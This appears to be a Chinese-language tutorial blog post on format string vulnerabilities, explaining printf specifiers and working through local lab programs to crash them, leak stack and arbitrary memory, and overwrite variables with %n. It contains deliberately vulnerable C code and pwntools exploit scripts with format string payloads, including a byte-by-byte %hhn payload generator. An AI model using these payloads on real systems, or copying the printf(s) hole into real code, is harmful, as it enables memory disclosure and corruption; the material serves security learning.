格式化字符串漏洞初识

February 28, 2019 PWN 访问: 26 次

原理和介绍

函数介绍

格式化字符串函数是将计算机内存中表示的数据转化为我们人类可读的字符串格式。一般来说,格式化字符串在利用的时候主要分为三个部分
1. 格式化字符串函数
2. 格式化字符串
3. 后续参数,可选
例如:printf函数

格式化字符串函数

  • 输入
    -- scanf
  • 输出
函数 基本介绍
printf 输出到stdout
fprintf 输出到指定的FILE流
vprintf 根据参数列表格式化输出到stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
...... .......

格式化字符串的格式

%[parameter][flags][field width][.precision][length]type

每一个参数具体看格式化字符串

  • field width
    -- 输出的最小宽度
  • precision
    -- 输出的最大长度
  • length
    -- hh:输出一个字节
    -- h:输出一个双字节
  • type
    -- d/i:有符号整数
    -- u:无符号整数
    -- x/X:16进制,x使用小写字母,X使用大写字母
    -- o:8进制
    -- s:输出null结尾的字符串
    -- c:输出char类型
    -- p:输出对应变量的值或者是地址
    -- n:不输出字符,但是把已经输出的字符串个数写入对应的整型指针参数所指的变

格式化字符串漏洞原理

如果当程序写成:

printf("Color %s, Number %d, Float %4.2f");

没有其他的参数,只有一个格式化字符串的参数,那么程序会照样运行,会将栈上存储格式化字符串地址上面的三个变量分别按照格式进行解析。

漏洞利用

程序崩溃

一般来说,如果一个程序存在格式化字符串,那么让这个程序崩溃的方法就很简单,我们只要输出若干个%s即可,原因是栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。

%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s

泄露内存

利用格式化字符串漏洞,一般会有这几种操作:

  • 泄露栈内存
    -- 获取某个变量的值
    -- 获取某个变量对应地址的内存
  • 泄露任意地址内存
    -- 利用GOT表得到libc函数地址,进而获取libc,进而获取到libc中的其它函数的地址
    --- 盲打,dump整个程序,获取有用信息

泄露栈内存

把下面程序编译成32位的,

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}
gcc -m32 -fno-stack-protector -no-pie -o test test.c

运行该程序,并输入“%08x.%08x.%08x”

➜  格式化字符串漏洞 ./test
%08x.%08x.%08x
00000001.22222222.0ffffffff.%08x.%08x.%08x
ffe3b120.f7f6c410.00000001

发现确实输出了一些内容,那么我们现在用GDB来调试一下,看看输出来的是什么,在printf下断点:

第一个printf的地址:0x080484BA
第二个printf的地址:0x080484C9

运行程序,停在了第一个printf处:

可以看出来第一个参数在栈上的位置,继续运行程序:

第二个printf确实把字符串“%08x.%08x.%08x”当成格式化字符串解析,而参数直接是栈上的参数,造成了栈上的数据泄露。当然我们也可以使用%p来获取数据

➜  格式化字符串漏洞 ./test
%p.%p.%p
00000001.22222222.0ffffffff.%p.%p.%p
0xfff923d0.0xf7ed7410.0x1

获取变量字符串

%s
%n$s
利用%x来获取对应栈的内存,建议使用%p,可以不用考虑位数的区别

利用%s来获取变量所对应地址的内容,只不过有零截断

利用%n$x来获取制定参数的值,利用%n$s来获取制定参数对应地址的内容

泄露任意地址内存

通过一个例子来具体说明怎么泄露任意地址内存的
例子源代码:

#include <stdio.h>
int main()
{
    char s[100];
    scanf("%s",s);
    printf(s);
    return 0;
}

将代码编译成32位的程序,编译的命令在上面有。然后载入到gdb中,在调用scanf前下断点,如图所示:

我们在程序中输入:“AAAA%p%p%p%p%p”,我们输入的字符串被存到了栈上“0xffffd108”开头的位置

接着运行该程序,根据程序的输出我们可以得知,当调用printf函数的时候,由于我们输入的字符串带有格式化形式,printf将我们输入的字符串当成format解析,但是我们没有向printf函数中传入其他的参数值,那么其他参数是默认依次从栈上获取的,看最后函数输出的结果与栈上的数据对比是一致的

从上面我们可以知道,我们输入的字符串在栈上与printf函数第一个参数的偏移是6,那么相对于函数来说是第七个参数,相对于格式化字符串来说是第六个参数,那么如果我们输入前四位是一个正确的地址的话,我们就可以用上面的%n$s来获取第六个参数也就是我们输出的前四位地址中的值
那么我们来验证一下我们的猜想,动态调试一下

from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process("./test")
elf = ELF("./test")
scanf_got = elf.got['__isoc99_scanf']
log.info("scanf_got:"+hex(scanf_got))
payload = p32(scanf_got)+"%6$s"
gdb.attach(p,"b *0x804851b")
p.sendline(payload)
print hex(u32(p.recv()[4:8]))


结合运行结果和调试时的值来看是对应着的,说明我们的猜想是对的

通过修改我们可以控制的地址,从而达到泄露任意地址内存

覆盖内存

覆盖栈内存

覆盖内存需要用到的格式化字符串是“%n”

%n:不会打印任何东西,其参数必须是一个有符号整数的指针,它存储着它之前打印的所有字符数

一个简单的例子说明“%n”:

#include <stdio.h>
int main()
{
    int a;
    printf("hello %nhello\n", &a);
    printf("%d\n",a );
    return 0;
}

输出为:

➜  格式化字符串漏洞 gcc -m32 -fstack-protector -no-pie -o test2 test2.c
➜  格式化字符串漏洞 ./test2
hello hello
6
➜  格式化字符串漏洞

通过输出我们可以看出,在format中的%n前面有6个字符,并且参数是变量a的地址,然后打印变量a的值也为6。
接下来再通过一个例子来解释格式化字符串漏洞具体利用过程,为了方便,我直接把将要覆盖的变量地址打印出来,源程序如下:

#include <stdio.h>
int main()
{
    int a = 789;
    char s[100];
    printf("%p\n",&a);
    scanf("%s",s);
    printf(s);
    if(a==123)
    {
        printf("success!\n");
    }else
    {
        printf("fail!\n");
    }
    return 0;
}

编译成32位可执行程序。目前我们已经知道要覆盖的地址,那么我们现在来确定我们输出的字符串相对于printf函数的偏移量,gdb调试:

从上图可以得知偏移量为7,这个偏移量是相对于printf函数的,那么相对于格式化字符串的偏移量就是6,构造payload:

p32(c_addr)+"%119d%6$n"

然后进行脚本测试:

from pwn import *
from libformatstr import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process("./test")
elf = ELF("./test")
c_addr = eval(p.recv())
gdb.attach(p,"b *0x8048568")
payload = p32(c_addr)+"%119d%6$n"
p.sendline(payload)
print p.recv()


通过结果证实了上面的过程

覆盖小数字

刚刚我们需要覆盖成的数字是123,是大于4的,现在把源程序中if条件改成“a==2”,如果按照刚刚payload的写法肯定是不能覆盖的,这个程序是32位的,地址是4位,地址在前面最少是要占4位,也就是说如果按照这个payload的写法写的话,覆盖成的数字最小是4。换个思路

"aa%i$naa"+p32(c_addr)

形如上面的形式,在“%i$n”前面补两个a是为了覆盖a原来的值,后面补两个a是为了进行补齐,然后接上变量C的地址,那么现在相对于格式化字符串的第六个参数是“aa%i”,第七个参数是“$naa”,第八个参数就是C的地址。最后攻击脚本:

from pwn import *
from libformatstr import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process("./test")
elf = ELF("./test")
c_addr = eval(p.recv())
#gdb.attach(p,"b *0x8048568")
payload = "aa%8$naa"+p32(c_addr)
p.sendline(payload)
print p.recv()


发现这种方法是可行的。

覆盖大数字

将if中“a==2”改为“a==0x12345678”。起初我仍然是按照刚刚构造payload的方法来进行payload的构造的

payload =  p32(c_addr)+"a"*14+"%6$n"+"aa"+p32(a)+"a"*28+"%10$n"+p32(b)+"a"*29+"%18$n"+"aa"+p32(c)+"a"*27+"%27$n"

但是没能实现覆盖,可能是因为太长了吧。之后我利用了CTF-WIKI上提供的函数来试了一遍,确实可以覆盖,自动生成payload函数如下:

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr
def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
#第一个参数是覆盖的地址最初的偏移
#第二个参数是机器字长(4/8)
#第三个参数是将要覆盖的地址
#第四个参数是要覆盖为目的变量值

最终的exploit:

from pwn import *
from libformatstr import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process("./test")
elf = ELF("./test")
c_addr = eval(p.recv())
print hex(c_addr)
#gdb.attach(p,"b *0x8048568")
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr
def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,c_addr,0x12345678)
log.info(hex(u32(payload[0:4])))
log.info(hex(u32(payload[4:8])))
log.info(hex(u32(payload[8:12])))
log.info(hex(u32(payload[12:16])))
log.info(hex(104+16))
log.info(hex(104+16+222))
log.info(hex(104+16+222+222))
log.info(hex(104+16+222+222+222))
p.sendline(payload)
print p.recv()

结果:

我通过把自动生成的payload分解并进行了分析:4个地址开头,占16个字节,“%104c”是将长度扩充到0x78,“%6$hhn”是覆盖第一个地址,以一个字节进行写入,“%222c”是将长度扩充到0x156,“%7$hhn”是覆盖第二个地址,以一个字节进行写入,写入的是0x56,最高位被舍去了,后面两个也是同样的道理。

添加新评论